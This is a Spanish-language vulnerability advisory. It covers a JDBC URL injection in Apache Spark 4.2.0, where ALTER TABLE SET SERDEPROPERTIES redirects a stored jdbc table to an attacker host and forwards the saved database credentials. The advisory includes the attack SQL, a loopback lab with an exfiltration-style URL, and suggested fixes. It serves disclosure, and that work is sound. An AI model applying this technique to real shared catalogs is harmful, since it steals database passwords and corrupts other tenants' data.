
Apache Spark 4.2.0 - Alta - Remota - Inyección de URL JDBC - ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
Clase: inyección de URL JDBC Alcance: Remoto
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710 impidió que las opciones extra en tiempo de escaneo sobrescribieran una url JDBC almacenada. ALTER TABLE SET SERDEPROPERTIES todavía se fusiona en storage.properties, que es el mapa de opciones de escaneo JDBC. Los user / password almacenados no son nombres de opciones JDBC de Spark, por lo que viajan a la nueva URL.
Un usuario SQL de catálogo compartido puede redirigir una tabla USING jdbc aprovisionada por el operador y reenviar la contraseña de base de datos almacenada a un host que elija.
| ID | sin CVE todavía |
| Clase | inyección de URL JDBC / reutilización de credenciales almacenadas (residuo de SPARK-31710) |
| Alcance | Remoto (Connect o Hive Thrift SQL en un catálogo compartido) |
| CWE | CWE-15, CWE-522 |
| CVSS | Alto: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| Producto | Apache Spark |
| Afectado | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) tablas JDBC de SQL v1 |
| Auth | usuario SQL de catálogo compartido (no un jar de envío de trabajos) |
| Licencia | GNU Affero GPL v3.0 |
| Laboratorio | solo 127.0.0.1:18960 |
Una sesión SQL de Connect gRPC o una sesión SQL de Hive Thrift sobre un externalCatalog compartido que ya tiene una tabla persistente USING jdbc con credenciales almacenadas. No es un remitente de trabajos. No es la sesión que nombró la URL original.
| Método | Destino | Privilegio |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') y luego REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties y luego JDBC Driver.connect(url, properties) | Integridad: redirigir la tabla aprovisionada a un listener del atacante. Probado en laboratorio (connect=yes). Confidencialidad: reenviar el user / password de la base de datos almacenados en el arranque de PostgreSQL y en la autenticación en texto claro. Probado en laboratorio (user-replay=true password-replay=true). El reconocimiento del secreto mediante SHOW CREATE está cerrado (redactado). |
La misma persistencia, más tarde un SELECT de otro inquilino sobre t | fila del catálogo compartido | Integridad, inferida: las consultas de otras sesiones contra t ahora llegan a la nueva URL (base de datos incorrecta, filas controladas por el atacante). Disponibilidad, inferida: la base de datos original es inalcanzable hasta que un administrador restablezca el serde. Fuera del umbral para DoS. |
Claves serde adicionales (sessionInitStatement, prepareQuery, driver) | opciones de escaneo sobre el user / password residual | Integridad, inferida: sentencias adicionales o un constructor sin argumentos de Driver en el classpath. No inflar a RCE sin un gadget en el classpath por defecto. No ejercitado. |
ALTER TABLE SET TBLPROPERTIES | solo CatalogTable.properties | Cerrado para este recorrido. Probado en laboratorio (la url de storage sin cambios, sin impacto en el oráculo). |
Colisión de la opción extra url en tiempo de escaneo | SPARK-31710 generateDatasourceOptions | Cerrado. Probado en laboratorio (extra-options-clash rechazado). |
spark.read.format("jdbc").option("url", ...) nombrado por la misma sesión | plano de datos previsto | DESCARTADO. La URL controlada por el propietario no es este residuo. |
SET SERDE '<class>' en una tabla de origen de datos | nombre de clase | Cerrado (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). No ejercitado. |
Adyacente cerrado: JDBC / rutas de archivo nombradas por la sesión. Comprobación de colisión de spark.sql.legacy.extraOptionsBehavior. OSS Spark no tiene externalOptionsAllowList de Unity. La URL de CREATE TABLE está controlada por el propietario (no este residuo). La redacción de la URL JDBC en los logs es incondicional. El path de la tabla de archivos vive en locationUri. Las conexiones de JDBCTableCatalog provienen de la configuración del catálogo de sesión (mismo plano de datos que elegir una URL). pyspark monousuario sin catálogo compartido queda fuera del modelo.
Fijé Spark 4.2.0, no master ni una RC de 4.3. El envío de trabajos en un clúster abierto es por diseño. Los residuos interesantes están junto a correcciones con nombre. SPARK-31710 / generateDatasourceOptions rechaza una url distinta en tiempo de escaneo para una clave serde existente. SET TBLPROPERTIES escribe solo table.properties. Las tablas de origen de datos todavía permiten SET SERDEPROPERTIES y se fusionan en storage.properties (++, las claves posteriores ganan). user y password nunca entran en jdbcOptionNames, por lo que asConnectionProperties los entrega a Driver.connect.
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE redacta password. El usuario SQL no puede leer el secreto de vuelta. Aun así puede aprovecharlo.
Caminos equivocados ya registrados: tratar la url de CREATE TABLE como el fallo; volver a reportar la colisión de opciones extra; esperar que SET TBLPROPERTIES mueva el storage; afirmar que SHOW CREATE filtra la contraseña; ejecutar un clúster completo cuando el Scala citado es un gadget; una reverse shell. El oráculo es un arranque de PostgreSQL más autenticación en texto claro en loopback.
cd lab
./run.sh
Loopback 127.0.0.1:18960 es un listener del protocolo PostgreSQL. El health HTTP es 127.0.0.1:18961. El contenedor del gadget es Temurin 21 más libpostgresql-jdbc-java. La URL almacenada es jdbc:postgresql://127.0.0.1:1/provisioned (conexión rechazada). La URL de ataque es jdbc:postgresql://oracle:18960/stolen. Usuario almacenado spark_jdbc. Contraseña almacenada stored-secret-SPARK-JDBC-SERDE-URL. Enlázalo a loopback.
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
Rechazar las claves de SET SERDEPROPERTIES que colisionen con la url / user / password JDBC almacenados, la misma comprobación que generateDatasourceOptions ya ejecuta para las opciones extra en tiempo de escaneo. O descartar el user / password almacenados cuando cambie la url. O tratar el serde JDBC de origen de datos como propiedades de tabla, no como storage. Hasta entonces, no conceder ALTER TABLE SQL a usuarios no confiables sobre una tabla persistente USING jdbc que almacena una contraseña.